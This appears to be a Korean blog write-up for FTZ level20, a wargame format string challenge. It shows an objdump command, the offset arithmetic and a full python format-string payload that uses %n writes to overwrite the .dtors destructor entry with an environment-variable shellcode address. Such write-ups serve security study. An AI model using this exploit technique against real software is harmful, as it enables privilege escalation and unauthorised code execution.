FTZ level20 본문
FSB문제
쉘 주소 만들고 획득
.dtors주소는 main이 끝나고 실행되는 소멸자이다.
.dtors주소에 쉘 주소를 넣는다.
main이 끝난 후 쉘이 실행될 것이다.
objdump -s -j .dtors attackme
.dtors주소를 구한다. destructor주소는 4byte 더해야 한다. 즉 0x8049598
포맷 스트링을 보내면 주소 값이 나온다
12byte 떨어진 곳에 입력했던 AAAA가 있다.
환경변수 쉘 : 0xbffffefe
.dtors : 0x8049598
0xfefe(65278)-출력값(40) = 65238
0x1bfff – 0xfefe = 49409
출력 값 : 4 + 4 + 4 + 4 + 8*3 = 40
(python –c ‘print “\x90”*4 + “\x98\x95\x04\x08” + “\x90”*4 + “\x9a\x95\x04\x08” + “%8x%8x%8x” + “%65238d%n” + “%49409d%n”’; cat) | ./attackme
%8x 세 개 넣은 이유는 offset이 12byte 떨어져 있기 때문임
이렇게 FTZ level
끝
'wargame > FTZ-LEVEL' 카테고리의 다른 글
FTZ level19 (0) | 2021.10.08 |
---|---|
FTZ level18 (0) | 2021.10.08 |
FTZ level17 (0) | 2021.10.08 |
FTZ level16 (0) | 2021.10.07 |
FTZ level15 (0) | 2021.10.07 |
Comments